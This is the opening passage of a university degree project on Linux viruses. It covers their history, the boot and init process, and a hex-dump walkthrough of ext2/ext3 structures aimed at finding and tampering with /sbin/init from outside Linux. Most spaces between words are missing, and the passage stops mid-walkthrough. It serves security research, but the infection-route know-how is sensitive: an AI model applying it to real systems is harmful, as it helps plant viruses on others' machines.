Está en la página 1de 121

UppsalaDegreeProjectinComputerScience

Automatedreplicantsoftwareattacks inLinuxsystems
PabloBarrn

InformationTechnology DivisionofComputerSystems UppsalaUniversity Box337 S75205UPPSALA SWEDEN

Abstract
ThisprojectdiscussesthecurrentstateoftheartinLinuxreplicantsoftware(viruses)andits possibleevolution,includingthetechniquesthatareusedinthereplicantsoftwarewhichhasbeen alreadypublishedanddetected.AlistanddescriptionoftheLinuxvirusesdetectedbyantivirus companiesandarticleswrittenuptothebeginningof2006isgiven,anditfeaturesaswella descriptionoftheoperation,impactandtechniqueswhichhavebeenusedbysuchviruses.Aswell, ageneralsecurityanalysisisperformedonLinuxsystemsfromthecomputervirusperspective, developingideasonhowvulnerablespotscouldbeattackedandhowthiscouldbeachieved. Finally,aseriesofhintsandrecommendationsaregivenonhowtheseproblemscouldbesolved.

Supervisor:BjrnVictor Examiner:BjrnVictor

Foreword
Introduction Sofar,theLinuxcommunityhasalmostignoredthepossibilityofavirusthreat,dismissing itasariskthatisproperoflesssecureoperatingsystemssuchlikeWindows.Inrecentyears,afew "laboratory"viruseshaveappearedwhichareabletoreplicatethroughELFfiles;toperformastate oftheartanalysis,20viruseswerefound,someofwhichwerestillundetectedbyantivirus companies. Theobjectiveinthisprojectisfirsttosummarizetherealsituationofvirusdevelopmentin Linuxsystemsanddeterminethecurrentrisktheypose,thenpasstothepotentialdangerthata sustaineddevelopmentcouldbringifnomeasuresaretakenasLinuxusagebecomesmoreand morecommon. Toagreatextent,thisprojectwillfocusinexplainingthetechniquesthatarealreadyused, speciallyformemoryresidenceandfileinfection.Whyandhowdotheywork,alongwithan analysisofthestructuresthatareusedtoperformsuchtasks,includingthekernelmemory allocationmechanisms,dynamiclibrarylinkinginexecutablefilesandthe.PLT/.GOTsections,and theinternalstructureofELFfiles. Furthermore,ananalysiswillbeperformedfromthevirusperspectiveinordertoidentify howLinuxcouldbeattackedbyanautomatedselfreplicatingprogram,takingintoaccountits constraintsduetosizewhichisnecessarilysmallinavirusandtheneedtoadapttoavarietyof Linuxdistributions.Inthisanalysisafewtechniqueswillbedeveloped,focusingon:

HowLinuxcouldbeattackedfromtheoutsidebydirectlymanipulatingthefilesystem. HowthepopularbootloaderprogramGRUBcouldbehijacked. AnanalysisonhowfileanddiskstealthtechniquescouldbeappliedtoaLinuxvirus

Finally,aseriesofsecurityrecommendationsaregiveninordertohelpstoporminimized therisksthathavebeendescribed.TheseaddressseveralLinuxvulnerabilitiessuchasthe availabilityofthe/dev/kmemfileandLoadableKernelModules,butfocusmainlyinthe possibilitieswhichcouldbederivedfromtheusageofchainoftrusttechniques,suchasthose proposedbytheTCPA(TrustedComputing)specifications,theimplementationofwhichhowever seemstobeparalyzedafterthedemonizingoftheTCPAproposalduetotheDigitalRights ManagementrelatedusageMicrosoftwasintendingtouseitforandthewidespreadconfusionof suchpolicywiththechainoftrustsecuritysystemitself. AsetofappendixesfeaturesomebasicLinuxinformationasareminder,aglossaryofvirus terms,andthetwomainimplementationsprogrammedinthisproject;thecodetomanipulatethe Ext2/Ext3filesystemsandanimplementationofring0residenceandbasicfilestealth,bothini386 assembler.

Index
I.StateoftheArt(page5)
1.LinuxViruses(page6)

II.AttackingLinuxfromthevirusperspective(page9)
1.Introduction(page10) 2.AttackingLinux(page12)

III.AdvancedTechniques(page30) IV.Linuxmalware:virusesandrootkits(page51)
1.Linuxvirusesanalysis(page52) 2.Rootkits(page67)

V.Conclussionsandrecommendations(page69)
1.Conclussions(page70) 2.Securityrecommendations(page72)

AppendixAKernelandSecurityDocumentation(page75)
A.1.Linuxsecuritymechanisms:fileprotection,ACLs,genericsecurity(page78) A.2.Kernelstructures(page82)

AppendixBGlossary(page89) AppendixCext_attacksourcecode(page96) AppendixD"hijack"sourcecode(page109)

StateoftheArt
ThissectionfeaturesanexplorationonwhathasalreadybeendoneinLinuxviruses, providingachronologicviewonLinuxvirusdevelopment.

1.Linuxviruses
1.1.DocumentingLinuxviruses 1.2.Linuxvirusevolution 1.3.References

1.LinuxViruses
1.1.DocumentingLinuxviruses DocumentingtheLinuxvirusevolutionandstateoftheartisataskthatbecomesfeasible duetoalongtraditiononreleasingthevirussourcecodesbytheirauthorswhichremainsfromthe DOSerainthenineteeneighties,whenthefirstcomputervirusesappeared.AlmosteveryLinux viruslistedbythedifferentantiviruscompaniesisavailableassourcecode,asthesecompanies haveaddedthedetectionroutinesaftertheywerereleasedinelectronicmagazines,orexceptionally innewsgroupsasisthecaseoftheLinux.Blissvirus. Thisis,however,asituationthatisonlypossibleinthecurrentstateofaffairs;thelackof anywidespreadinfectionscausedbyLinuxviruses,whichforcestheirdevelopmentstonecessarily comefromsourcecodefilesreleasedtothepubliceitherbyindividualsorbyviruswriting magazines,especially"VLAD"[1],"29A"[2]and"RRLF"[3]. Furthermore,regardlessofthewaronthenumberofvirusesfromthevariousantivirus companies(myproductdetectstenthousand,soitisbetterthanyoursthatdetectsninethousand), basedevelopmentinviruswritinghasorganizeditselfaroundmagazinessincethereleaseofthe firsteditionofthe"40hex"magazinein1991.ThismagazinewaswidelydistributedthroughBBS systems,anddisclosedthetechniquesusedforviruswritinginassembler,almostalwaysforthe DOSoperatingsystem.Afteritsdecadencearound1995,"VLAD"wasthemagazinetoreleasethe firstvirusesforWindows95andLinuxoperatingsystems.Finally,thetideswouldturntothe magazine"29A",whichreleasedthefirstWin32virusandunitedseveralviruswriters,someof themoldcontributorsto"VLAD",editinganewmagazineeachyearwithvirussourcecodes, articlesandtutorials.[4]

1.2.Linuxvirusevolution FromthefirstLinuxvirusin1996tothepresent,therehasbeenanongoingevolutionin whichawiderrangeoftechniquesareapplied.Mostofthemcomefromtechniquesalreadyusedin DOS/Win32systems,whichbringsthehypothesisthatmostlinuxviruswritersmayhavemadea jumpfromsuchsystemstoLinux.Thisisofcourselogical,sincelowlevelviruswriting developmentinDOS/Win32hasbeengoingonfrom1986. Anothertipreinforcessuchhypothesis;mostofthelinuxvirussourcesreleasedbytheirown authorsintheInternetorinpopularvirusmagazinessuchlikeVLADor29A,arewritteninIntel format.TheregularLinuxuserwhohasdealtwithGDBandotherutilsshouldbeusedtotheAt&t formatthatisrecognizedby"gcc"orpureassemblycompilerssuchlike"gas",andwhichisthe outputofthefamousdebuggingtool"gdb";thisformathassomestrongdifferenceswiththeIntel format(suchliketheverycommand'sparametersorder),andsincetheassembler"nasm"compiler wasreleasedforLinuxalmosteveryvirusiswritteninIntelformat.Anoticeableexceptionisthe firstlinuxvirus,Staog,whichwaswritteninAt&tformatbyanauthorwhowashowevermostly

experiencedintheIntelformat. Theanalysisofvirussourcecodes,whichisdetailedinsection2,couldletusdivideLinux virusdevelopmentintothreephases: Firstbreakthroughs(19961999) ThefirstLinuxvirusappearsin1996andcastsagreatshadowoverthesubsequentviruses untiltheyear2000.Featuringacorrectinfectionandkernelresidencethroughattemptingtoexploit threedifferentvulnerabilitiesofitstime,itprovidedaquitestrongfoundationforthevirusesto come.ThevirusassemblercodewasreleasedbythegroupVLADinits#7magazine,anditwas writtenbythesameauthor(Quantum)whowasalsoresponsibleforthefirstknownWindows95 virus,called"Bizatch"or"Boza". Almostprogrammedinparallel(thoughreleasedafewmonthslater),anotherLinuxvirus, thisonemuchlessinteresting,emerged.ThiswascalledBliss,itwaswritteninC,andthoughit waseasilynoticeableduetoitsoverwritingofinfectedfiles(renderingthemuseless),itprovideda waytodisinfectfilesthroughenteringaspecificcommandlineparameteroninfectedfiles. OthervirusesinthistimearevariationsoverStaog;Linux.Dieselisadaptedfromittobe kernelversionindependent,andLinux.Creedagainusesaverysimilarinfectionconceptwithout providingmuchmorethanaworkingfileinfectorwithsomeminorcodingdetailsfromitsauthor. However,theseyearsanotherbreakthroughatleastasimportantasStaogtakesplace. ProgrammerSilvioCesarereleasesin1998anarticlewhichdealswithELFvirusoriented manipulation("UnixELFparasitesandviruses",October1998)andanotheroneonkernel manipulation("Runtimekernelkmempatching",November1998)whichwouldbemoredeveloped laterin2001byauthorsnicknamed"sd"and"devik",whopublishedanarticlecalled"Linuxon theflykernelpatchingwithoutLKM"inPhrack#58. Laterin1999,SilvioCesaregivesbasictheoreticalinsightsonantidebuggingtechniques ("Linuxantidebuggingtechniques",January1999),onkernelfunctionsmanipulation("Kernel functionhijacking",November1999),andonhowtoabusetheprocedurelinkagetableandshared libraries("SharedlibrarycallredirectionusingELFPLTinfection",November1999).[5] Infectioninnovation(20002001) TheseyearstheshadowofStaogstartstolessen,andafewmoreideasappear.Viruswriters seemtounderstandtheinnerworkingsoftheELFexecutableformat,andtheyfocusonthe developmentofinfectionmethods.Weseecavitythroughthe.notesectionspace(Linux.LoTeK, size343bytes),cavityinfectionthroughfilecompression(Linux.AlQaedaElfV),acuretothe StaogproblemsbymovingtheSectionHeaderTable(Linux.A.443)andawormwhichinstalls itselfinsideZIPfiles(Linux.Zipworm). Newdevelopmentphase(2002present) NowthatthebasishasbeendevelopedandthattheStaogdependenceisover,moreviruses

appearfeaturingnotjustnewinfectionmethodsbutawholenewsetoftechniques.Though widespreadinfectionshavenotyetappeared,theinstallationbasebecomesenoughforaserious futurethreat. In2002wehaveWinux,thefirstvirustoinfectbothWindowsPEandLinuxELF executablefiles,andaswellNuxBee,whichimplementsperprocessresidencefollowingSilvio Cesare'smodel. Asofyear2003,StaogisrehashedintoacomplexviruscalledBalrogwhichalsofeatures antidebuggingtechniques(fromSilvioCesare),aviruswhichbindsashelltoaport(AMON) appears,andthereareincreasinglycomplexmanipulationsofthevaluesinthesectorandsegment headerswhichshowadeepunderstandingoftheELFformat(4096,AMON).Anarticleis publishedinthePhrackmagazineonhowtoinfectLKMs[7]. Year2004bringsthecomplexityofmetamorphictechniquestoLinuxcombinedwith PE/ELFattacking(Metaphor). In2005weseeEPOtechniquesappliedtoELFinfection(Binom,Grip).Aswell,two articlesfromthePhrackmagazinehavejustopenedthedoorstopossiblenewdevelopmentsinyear 2005.Thefirstofthem,"HackingGrubforFunandProfit"[8],opensthedoortomultipartite virusesthroughtheinfectionoftheGRUBloaderandthedescriptionofatechniquewhichcouldbe usedtoloadamodifiedkernelfromit.Thesecondofthem,"HidingProcesses(understandingthe Linuxscheduler)"[9],givesideaswhichcouldbeappliedtovirusmemorystealth.

1.3.References [1]VLADmagazines:http://vx.netlux.org/vx.php?id=zv03 [2]29Amagazines:http://vx.netlux.org/29a/ [3]RRLFmagazine:http://www.rrlfzine.de.vu/ [4]VDAT(virusreferencesandhistory):http://vx.netlux.org/vx.php?id=zv00 [5]VirusHeavensarticlelibrary:http://vx.netlux.org/lib/?lang=EN [6]"LinuxVirusWritingTutorial"fromMandragore: http://vx.netlux.org/lib/static/vdat/tulinuxv.htm [7]"InfectingLoadableKernelModules",Phrack#61, http://www.phrack.org/show.php?p=61&a=10 [8]"HackingGrubforFunandProfit",Phrack#63, http://www.phrack.org/show.php?p=63&a=10 [9]"HidingProcesses(understandingtheLinuxscheduler)",Phrack#63 http://www.phrack.org/show.php?p=63&a=18

II

AttackingLinuxfromthevirusperspective
Inthissection,ananalysisonLinuxsecuritywouldbeperformedfromthevirusperspective. Theintroductiontriestoanswerthefollowingquestion;whyhasLinuxstillnotbeenthetargetofa massivevirusspread?Then,"attackingLinux"triestofocusonweakpoints,andhowcouldtheybe exploitedinthefirststageofavirusattack;thatistosay,whenthemaliciouscodehasstillnot penetratedthesystem.

1.Introduction
1.1.Whyonlylaboratoryviruses? 1.2.PenetratingLinux 1.3.References

2.AttackingLinux
2.1.BootingandtheInitprocess 2.2.Fileattacksfromtheoutside 2.3.HackingGrubandbootinfection 2.4.Exploits 2.5.Sourcecodemanipulation 2.6.RPM&DEBpackages 2.7.References

1.Introduction
1.1.Whyonlylaboratoryviruses?
WehaveseenthattheclaimsonnonexistanceofLinuxvirusesareamythwhichhastobe updated.However,thosewhodismisstheLinuxvirusthreatstillhaveapoint:sofar,novirushas massivelyinfectedLinuxbasedcomputers.We'vehadnoBlasterviruswreakinghavocintooffices amondaymorning,neitherawormmassivelyattackingLinuxserverssuchliketheSlammerworm didtoWindows2000SQLserversworldwide. Thewholerangeofviruseswhichwillwerementionedintheprevioussectionandwillbe analizedinthe"LinuxMalware"sectionwerepublishedbytheirownauthorsindiverse undergroundelectronicmagazines,mostlyalongwiththeirsourcecode.ThecurrentstateofLinux virustechnologyhasbeendevelopedbyviruswriterswhichusedpreviousarticlesandviruses whichwerepresentinthepublicdomain. AseriesofreasonsmightbepointedouttoexplainwhyLinuxviruswritinghasbeenkeptin thelabforthepresent:

Almostnonexistenceofmacrovirusesandtheirmechanisms.SinceWindows95 appeared,thedevelopmentofviruseswhichusethemacrolanguagefromMicrosoft Officeapplicationshasbecomeevenmoreimportantandwidespreadthanthatof classicalassemblerviruses.ThedesignonMicrosoftOfficeapplicationshasshowed itselfsoflawedfromasecurityperspectivethatevenaftermorethanadecadefromthe firstmacrovirusinseptember1995forMicrosoftWord,theyarestillastrongthreat.In may2006thefirstLinuxviruswhichaffectsOpenOfficeandStarOffice(called "Staroffice.Stardust.A")appeared,thoughitisstillconsideredproofofconceptcode. Thelackofa"commonconfiguration".Wheneveraninternalsecuritybreachappearsin Windows,itaffectseverycopyofitscurrentversion.Thatistosay,ifanew vulnerabilityordesignflawaffectsWindowsXPbeforeServicePack2,itwillusually affecteveryWindowsXPbeforeServicePack2.ThisishardlythesameinLinux,since thereisawideamountofdistributionswhichinstalldifferentversionsofeachpackageor differentpackages,andevendifferentversionsofthekernelcode.So,asthe developmentandreleasesofthekernelhappensinamore"continuous"sequenceoftime andthepackageconfigurationdiffersamongdistributions,itisunlikelythatthesame vulnerabilitycanbeexploitedthesameoneveryLinuxboxatthesametimeandsothat fastmassiveinternetdriveninfectionssuchliketheBlasterwormsucceed. Aswell,thislackofacommonconfigurationmeansthattherearenocommonservices suchliketheDCOMRemoteProcedureCallopeningtheirportstotheworldonevery installationoftheoperationsystem(DCOMRPCwaswhatwasexploitedbytheBlaster worm) Theverynatureofopensourcecodeissecuritywisebetterthanthe"securitythrough

obscurity"approachwhichWindowssometimesdisplays.VirusesinWindowshaveused morethanonceundocumentedtrapdoorstoaccessring0andthereforetakecontrolofthe system.Aswell,thedependencyonacentralizeddevelopmentserversuchlikeWindows Updateinordertocorrectsuchflawsandaespeciallyslowspeedwhenitcomesto correctingnternaldesignflawsdoesonlymakethesituationworse.

InLinux,binaryprogramsaren'tusuallyshared:packagesaredownloadedandcompiled, evenifthisisoftendonethroughautomatizedpackageinstallationandmanagement mechanisms.ThisisabigstopforanymassiveLinuxinfection,sinceitisquiteunusual foranyonetoexecuteexternalbinaries. Lastbutnotleast,eventhoughLinuxuseramountisgrowingandthisischanging,many ofthemarestillpeoplewithaspecialinterestincomputerswhichhaveanintereston whatisgoingonintheirsystems.Thus,theyareusuallymoreeducatedinthesecurity field,atleastonbasicbehaviourssuchlikenotexecutingeverythingasroot.In comparison,mostWindowsusersloginwiththeadministratoraccountdonotevenusea passwordforthem.However,thisshouldnotbeconsidereda"strong"reason,sincethe numberofLinuxuserscontinuesgrowinganddistributionsbecomeeasierandeasierto installanduse;andmanytimesastandardinstallationfromsuchdistributionsleave "useless"applicationsrunning,suchlikeSMTPorHTTPservers.

1.2.PenetratingLinux
Inthefollowingpages,whichcomposethe"AttackingLinux"section,aseriesofpossible methodstopenetrateLinuxwillbeproposed.Thisismeanttorefertothe"firstattack"inorderto getuid0accessandcontrolthesystem,showingstrategiesmorecomplexthanjustexpectingthat thesuperuserexecutesaninfectedfile,whichismostlywhatcurrentLinuxvirusesdowiththe exceptionofStaog. Thedifferencewiththenextpartoftheproject,"AdvancedVirusTechniques",shouldbe madeclear:thatpartismeanttodepictstrategiesonceinsidethetargetsystem. Partofthestrategiesthatfollowaredepictedindeepdetail,especiallyfilesystemattacks fromtheoutside,bootinfectionandGRUBattacks,sincetheyarethemostdirectlyrelatedto Linux.Thenextarehintedat,astheyarenotdirectlyrelatedtoLinuxorcouldbebettercoveredby othertextsalreadyavaliable.Thoseareexploitusageandsourcecodeinfection,aswellasa mentiontothepossibilitiesonattacksthroughpackages.Passwordcrackinghasbeenleftout,since thismethodwouldbelimitedtobruteforceattacksascarryinganydecentwordlistwouldexceedby faranyadmissiblelengthforacomputervirus.

2.AttackingLinux
2.1.BootingandtheInitprocess
OneoftheapproacheswecantakewhenlookingathowcouldaLinuxoperatingsystembe attacked,isitsverybootprocedure.Dismissingalternativewaysinwhichthisisdonesuchas loadingthekernelfromadisketteorbootingfrommobileCdssuchlikethecaseofKnoppix,Iwill focusonthestandardprocesswhichtakesplacewhenLinuxisbootedfromaharddisk. FromthemomentanuserswitchsthePCpoweron,afeweventshappensequentially.An overviewisgiven: BIOSchecking Firstactionthecomputerperformsischeckingoutifitshardwarecomponentsseemtowork well,anddetectingdevicessuchasharddisksandotherstoragemedia,throughasetofinformation storedusuallyinflashrewrittablememoryandallowingtheoperatortoconfigureandmanipulateit. Aftersuchoperations,storagedevicesarecheckedinordertotrytobootfromthem,allowingthe usageofnotjustharddisksbutdiskettes,cdsandevenUSBstoragedevicestoactasbooting devices. Thoughthisisoutofthescopeofthisproject,itshouldbenotedthataflashBIOScanbe vulnerable:wehavetheinfamouscaseoftheCIHviruswhichoverwrotenecessaryinformation, havingsometimesuserstobringtheircomputersbacktosomeplacewherecorrectinformation couldberewrittenwithspecificdevices.Therecouldbeamorecomplexrisktothis,sincewhen logoimagesarestoredinflashmemorytheyprovideaplaceinwhichmaliciouscodecouldbe installed.Avirushookingflashcodeandcopyingitselfinsidetheuselesslogoimagespacewhich couldthenaffectanycodeintheharddisksbeforetheuserisabledoanythingcouldprovidea difficultproblemwhencombattingviruses.However,thisideahasneverbeenmorethananidea, probablysincevirusauthorswouldneitherliketorisktheircomputers. MBRandbootloadersoftware Whenthecomputerdecidesifitisgoingtobootfromaharddisk,itchecksoutifthefirst sectorintheharddisk(512bytes)endswiththeword0x55AA.Ifso,suchsectorisloadedinto memoryandexecutionstartsusuallyat0x0000:0x7c00(thoughsomeBIOSstartitat 0x07c0:0x0000,sincebothrefertothesamelocation:inIntelformatmemoryaddressesare obtainedbymultiplyingthesegmentfirstnumberby10handaddingtheoffsetsecondnumberto it).Thissectorcontainsasmallbootprogramwhichusuallyjustloadsabiggeroneintomemory, anditalsocontainsthe0x40byteslongprimarypartitiontableinoffset0x1b0.Thisallowsevenfor asmallbootprogramtoreadthispartitiontablefromafixedmemoryposition,checkoutwhich partitionisbootableandpasscontroltoit.

Thebootingprocessisnowusuallymanagedbycomplexprograms,whichevenfeature graphicalinterfacesandallowforseveraloperatingsystemstoboot.InLinuxsystemsthishas clasicallybeenasoftwarecalledLilo,thoughnowadaysitisadifferentonecalledGRUBwhichhas takenthelead. Thebootingsoftwaretakesaseriesofparameters,whichcanbegiveninacommandline fashionbytheuserorstoredasdefaultconfigurationsinafileintheLinuxpartition(GRUB implementsaverybasicfilereaderforeachofthedifferentLinuxfilesystems),anddecompressesa copyofthekernelwhichlocationisalsogivenasaparameter.Sometimesaramdiskisgeneratedto usedevicedriversespeciallyforstoragedevicemanagement,andfinallycontrolispassedtothe kernel. ThekernelandtheInitprocess Afterthekernelissoundandworking,theInitprocessiscalled.Theactionsthisprocesswill doaredefinedin/etc/inittab,whichdefinesaseriesofscriptsandbinariestobecommonly executed,andspecificscriptstobeexecutedforeachoftherunlevels.Consoleswillbespawned andtheuserwillfinallygetincontrol. Therefore,fromavirusperspective,itistheInitprocessexecutabletheonethathasthebest featuresinordertobeinfected:itisthefirstthatrunsinthesystem,itrunswithuid0andistheroot fromwhicheveryotherprocessesarise.Furthermore,itisstoredasaregularELFfilein/sbin/init. ThiswouldbetheaimofeveryLinuxvirus,ifsuchavirusisabletoaccessit.

2.2.Fileattacksfromtheoutside
We'vejustlocatedaespeciallyimportantresourcetobeattacked.However,howcoulditbe attackedfromtheoutside?The/sbin/initfilehasrootasitsowner,anditisonlyrootwhocanwrite onit.Aswellasithappenswithothersystemexecutablefiles,evenavirusthatisexecutedasan usercannotaffectit,cannotbypassthefileaccesssecuritysystem. However,thereareotherways. TheonewhichwillbedevelopedinthissectionconsistsonattackingLinuxfilesfromthe outside,fromotheroperatingsystemsorexecutionenvironments,namelyfromWindows.Itisnot atallunusualthatcomputeruserswhichrunLinuxalsohaveaWindowsoperatingsysteminthe sameharddisk,oratleastinthesetofharddiskswhichbelongtothesamecomputer.Wayeasierto attack,Linuxfilesandespeciallythe/sbin/initexecutableELFfilecouldbemanipulatedfrom Windows.

Fromtheoutside:Ext2/Ext3 Ext2andExt3arethemostwidelyusedfilesystemsnowadaysinLinux.Theirdifferences areverysmall,sinceExt3justusesspaceinExt2whichwasmarkedas"reserved"inordertostore journalinglogsandensurethestabilityofthefilesystem.Thisprovidesforacomplete compatibility,andanExt3filesystemcanbeunmountedandmountedagainasExt2withfull compatibility. WeareusedtoLinuxmountingaWindowspartitions,howeversofarnoprogramoperates withLinuxfilesystems;onlyonecalledexplore2fsimplementsreadingmechanisms,thoughitis stillquiteundevelopedandforexampleitdoesn'tperformwriteoperations. Why?Isitsohardtomanipulatethesefilesystems?Iwillproveitisn't. TestingtheExt2/Ext3filesystemtolocate/sbin/init Forthesemanipulations,Icreatedasmallextfilesystemin/dev/hda5,withalengthof 69984Kbytes.InitsrootdirectoryIcopiedthe/sbin/initfile.Theoperationsthataregoingtobe describedcouldbeappliedtoanyExt2orExt3filesystem,butIprovidesuchdatasothatthe specificitiescanbetakenintoaccount. Anotherdetailthatshouldbenotedisthatalloperationsaretakingplacefromtheroot accountwithintheLinuxoperatingsysteminmytests.ThereasonforthisisjustthatIfeelitmore comfortableprogrammingwithit,thoughforportabilityreasonsallthecodewillthistimebe writteninCandnoassemblerused,soitcanbeeasilyadaptedtoanyotherplatformsuchas Windows. Ourfirststepisreadingthethirdsector(offset1024)inthisfilesystemtoreadthe superblock.I'vewrittenasimpletool(ext_checker)whichisprovidedalongwiththecodeinthis projecttodoso,andissimilartoapplicationssuchlikeBIEW/HIEW,whicharehexadecimal formatviewersfordisksandfiles.Thistoolwasexecutedasfollows,reading512bytesfromoffset 1024inthe/dev/hda5partition:

> ./ext_checker /dev/hda5 -s 2


|0 |1 |2 |3 |4 |5 |6 |7 |8 |9 |A |B |C |D |E |F | 0 1 2 3 4 5 6 7 8 9 A B C D E F ---+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ 000|a0|46|00|00|91|46|00|00|87|03|00|00|d0|3f|00|00| F F ? 010|94|46|00|00|00|00|00|00|02|00|00|00|02|00|00|00| F 020|00|80|00|00|00|80|00|00|a0|46|00|00|0c|cf|e4|43| F C 030|0c|cf|e4|43|02|00|14|00|53|ef|01|00|01|00|00|00| C S 040|80|ae|e4|43|00|4e|ed|00|00|00|00|00|01|00|00|00| C N [...] Ext2/Ext3 superblock found...... printing data: inodes_count: 0x46a0, free_blocks_count: 0x3fd0, log_blocks_size: 0x2, frags_per_group: 0x8000, blocks_count: 0x4691, free_inodes_count: 0x4694, log_frag_size: 0x2, inodes_per_group: 0x46a0, su_reserved_blocks_count: 0x387, first_data_block: 0x0, blocks_per_group: 0x8000, last mount time: 0x43e4cf0c,

last_write_time: 0x43e4cf0c, fs flags: 0x1, max_check_interval: 0xed, first_non_res_inode: 0xb,

mount_count: 0x2, error flags: 0x0, creator ID: 0x10000, sizeof_ino_struct: 0x80,

max_mount_count: 0x14, last_check: 0x4e0043e4, revision_level: 0x0, block_group_nr: 0x0,

ThoughthetoolIprogrammedalreadydoesitbyitself,todoublecheckmanuallythisisthe superblock,welookfortheword"0xEF53h"atoffset38h,whichwecanseeisthereinlittleendian ordering.Nowtherestofthesevaluestellalotaboutthefilesystem.Themostimportantvaluewe'll useforthemomentisblocksize,storedatoffset0x18,andwhichhappenstobe2;thisshouldbe interpretedwiththeformulablock_size=(2^log_blocks_size)*1024,sothat0means1024bytes, 1means2048andinourcase,2means4096bytesperblock. Thenextstructurewefindinthefilesystemisthegroup/filesystemdescriptor,whichis locatedinthenextblock,whichiswhywejustcalculatedtheblocksize.As4096/512=8,andthe superblockisatoffset1024,thegroupdescriptorwillbeatthesecondblock,offset4096. Therefore,weinvoke"ext_checker"asfollows:
> ./ext_checker /dev/hda5 -s 8
|0 |1 |2 |3 |4 |5 |6 |7 |8 |9 |A |B |C |D |E |F | 0 1 2 3 4 5 6 7 8 9 A B C D E F ----+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ 000 |02|00|00|00|03|00|00|00|04|00|00|00|d0|3f|94|46| ? F 010 |02|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| [...]

Herewefindtherestofthebasicfilesysteminformationwewilluse.especiallyimportant arethethreefirstDWORDentries,whichcontaintheaddressoftheblocksinwhichthefilesystem hasstoredthe"blockbitmap",the"inodebitmap"andthe"inodetable".Theblockbitmapandthe inodebitmaparejustbitstreamswhichsequentiallytellwhichblocksandinodesarebeingused, butthethirdvalueisespeciallyimportantasitcontainsthe"inodetable"fromwhichwecanaccess files.Inthiscasesuchvaluetellsusitisstoredinthefourthblock,whichmeansthattheoffsetof theinodetableis4096*4=16384.Nowagaintoext_checker:


> ./ext_checker /dev/hda5 -s 32
|0 |1 |2 |3 |4 |5 |6 |7 |8 |9 |A |B |C |D |E |F | 0 1 2 3 4 5 6 7 8 9 A B C D E F ----+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ 000 |00|00|00|00|00|00|00|00|80|ae|e4|43|80|ae|e4|43| C C 010 |80|ae|e4|43|00|00|00|00|00|00|00|00|00|00|00|00| C 020 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 030 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 040 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 050 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 060 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 070 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 080 |ed|41|00|00|00|10|00|00|27|cf|e4|43|2f|cf|e4|43| A ' C / C 090 |2f|cf|e4|43|00|00|00|00|00|00|03|00|08|00|00|00| / C 0a0 |00|00|00|00|00|00|00|00|39|02|00|00|00|00|00|00| 9 0b0 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 0c0 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 0d0 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|

0e0 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 0f0 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| [...]

Eachinodeoccupies0x80(128d)bytes,andtheonewe'remostinterestedinisthesecond, sinceitisalwaystheinodewhichcorrespondstotherootdirectory.Thiswouldbetheinodewhich isstoredfrom0x80to0xff,andwe'lllookatthei_blockvaluewhichisstoredinthe0x28offset (0xa8hhere):itsvalueis0x239,whichmeansthattherootdirectoryisstoredattheoffset0x239* 4096din/dev/hda5.Aswell,onlyoneblockisusedbytherootdirectory,sincethefollowing entriesareempty.Ifweoperate,0x239*4096d=2330624,whichmeansthebytesouroffsetis displacedfromthebeginningofthepartition.Therefore,ext_checkershouldbeinvokedas:

# ./ext_checker /dev/hda5 -s 4552 |0 |1 |2 |3 |4 |5 |6 |7 |8 |9 |A |B |C |D |E |F | 0 1 2 3 4 ----+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ 000 |02|00|00|00|0c|00|01|00|2e|00|00|00|02|00|00|00| 010 |0c|00|02|00|2e|2e|00|00|0b|00|00|00|14|00|0a|00| . 020 |6c|6f|73|74|2b|66|6f|75|6e|64|00|00|0c|00|00|00| l o s t + 030 |d4|0f|04|00|69|6e|69|74|00|00|00|00|00|00|00|00| i 040 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 050 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 060 |00|00|00|00|00|00|00|00|00|00|00|00|00|00|00|00| 5 6 7 8 9 A B C D E F . . f o u n d n i t

[...] We'realreadyseeingthe"init"stringthere,thoughofcourseacorrectalgorithmshouldbe programmedtoretrieveitsdata.Assuch,offset04hineachentrystoresin2bytesthesizeofthe entry,whichindicateshowmuchweshouldaddtoapointertofindthenextentry. So,wecanmoverecursivelyuntilwefindwhatwewant,inthiscasethe"init"string.For the"."entrywehave0x1.Thissecondentry("..")isalso0xcbyteslong,sothethirdentryis locatedatoffset0xc+0xc=0x18.Thisis("lost+found"),whichis0x14byteslong,sofinallywe willfindthebeginningoftheentryfor"init"atoffset0x18+0x14=0x2c.Herewehavetheinitfile, fromwhichweretrievetheinodenumber(whichisalwaystheoffset0x00).Inourcase,thiswillbe 0xc. Notethatofcourseinitisstoredonthe/sbin/directory,notintherootone.Butthishas beenforcedtomakethisexplanationshorter,asthepointgetsthroughandthemechanismsarethe sameforgoinginsideadirectory.If0xcwastheinodeofthe/sbin/directory,thenouractions wouldhaveconsistedonreturningtotheinodetable,lookingforoffset0xc*0x80andsearchthe initfile. So,nowwehavetheinitinode,wejusthavetogobacktotheinodetableandsearchforthe offsetgivenby(inode_number1)(whichis0xc1)*inode_entry_size(whichis0x80)=0x580. Sincetheinodetablewasonoffset0x4000(s32asaparameterforthetool),offset0x4580inthis partitionwouldbeaccessedby:

> ./ext_checker /dev/hda5 -s 34


